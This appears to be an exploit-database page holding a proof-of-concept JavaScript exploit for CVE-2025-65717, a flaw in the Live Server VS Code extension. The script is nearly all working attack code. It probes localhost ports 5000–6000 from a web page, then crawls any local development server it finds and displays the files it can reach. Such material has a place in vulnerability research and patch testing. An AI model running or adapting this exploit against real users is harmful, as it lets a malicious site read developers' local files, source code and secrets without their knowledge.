4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / index.js JS
// Based on: Ox Security
// https://www.ox.security/blog/cve-2025-65717-live-server-vscode-vulnerability/
// Modified by natsu

let origin = '';
const visited = new Set();

function joinPath(basePath, relative) {
  if (relative.startsWith('http')) return relative;
  if (relative.startsWith('/')) return origin + relative;
  if (basePath.endsWith('/')) return basePath + relative;
  return basePath + '/' + relative;
}

function report(path) {
  const container = document.getElementById('results');
  const details = document.createElement('details');
  const summary = document.createElement('summary');
  summary.textContent = decodeURI(path);
  details.appendChild(summary);
  details.addEventListener('toggle', async () => {
    const res = await fetch(path);
    const contentType = res.headers.get('content-type') || '';
    const pre = document.createElement('pre');
    if (contentType.startsWith('text/')) {
      pre.textContent = await res.text();
    } else {
      pre.textContent = `(binary file: ${contentType || 'unknown'})`;
    }
    details.appendChild(pre);
  }, { once: true });
  container.appendChild(details);
}

async function crawl(path) {
  if (visited.has(path)) return;
  visited.add(path);

  try {
    const res = await fetch(path);
    const text = await res.text();
    report(path);

    if (res.headers.get('content-type')?.includes('text/html')) {
      const parser = new DOMParser();
      const doc = parser.parseFromString(text, 'text/html');
      const links = Array.from(doc.querySelectorAll('a'))
        .map(a => a.getAttribute('href'))
        .filter(h => h && h !== '#');

      for (const link of links) {
        const nextPath = joinPath(path, link);
        await crawl(nextPath);
      }
    }
  } catch (e) {
    // fail silently
  }
}

async function scanPorts() {
  const container = document.getElementById('scan-results');
  const status = document.getElementById('scan-status');
  const minPort = parseInt(document.getElementById('scan-min').value) || 5000;
  const maxPort = parseInt(document.getElementById('scan-max').value) || 6000;
  const total = maxPort - minPort + 1;
  let scanned = 0;
  let found = 0;

  // Remove previous scan results
  container.querySelectorAll('.port-item').forEach(el => el.remove());

  async function probe(port) {
    const controller = new AbortController();
    const timeout = setTimeout(() => controller.abort(), 12000);
    try {
      await fetch(`http://localhost:${port}/`, {
        signal: controller.signal,
        mode: 'no-cors',
      });
      const portItem = document.createElement('li');
      portItem.className = 'port-item';
      portItem.textContent = port + ' ';
      const btn = document.createElement('button');
      btn.textContent = 'crawl';
      btn.addEventListener('click', () => startCrawl(port));
      portItem.appendChild(btn);
      container.appendChild(portItem);
      found++;
    } catch (e) {
      // port closed or timed out
    } finally {
      clearTimeout(timeout);
      scanned++;
      status.textContent = `Scanning... ${scanned}/${total}`;
    }
  }

  const ports = Array.from({ length: total }, (_, i) => minPort + i);
  const batchSize = 100;
  for (let i = 0; i < ports.length; i += batchSize) {
    await Promise.all(ports.slice(i, i + batchSize).map(p => probe(p)));
  }

  status.textContent = `Done (${found} port${found !== 1 ? 's' : ''} found)`;
}

document.getElementById('scan-btn').addEventListener('click', () => scanPorts());

async function startCrawl(port) {
  visited.clear();
  const results = document.getElementById('results');
  results.innerHTML = '';
  origin = `http://localhost:${port}`;
  await crawl(origin + '/');
  if (!results.childElementCount) {
    results.textContent = 'No results found.';
  }
}

document.getElementById('crawl-btn').addEventListener('click', () => {
  const port = document.getElementById('port-input').value;
  if (!port) return;
  startCrawl(port);
});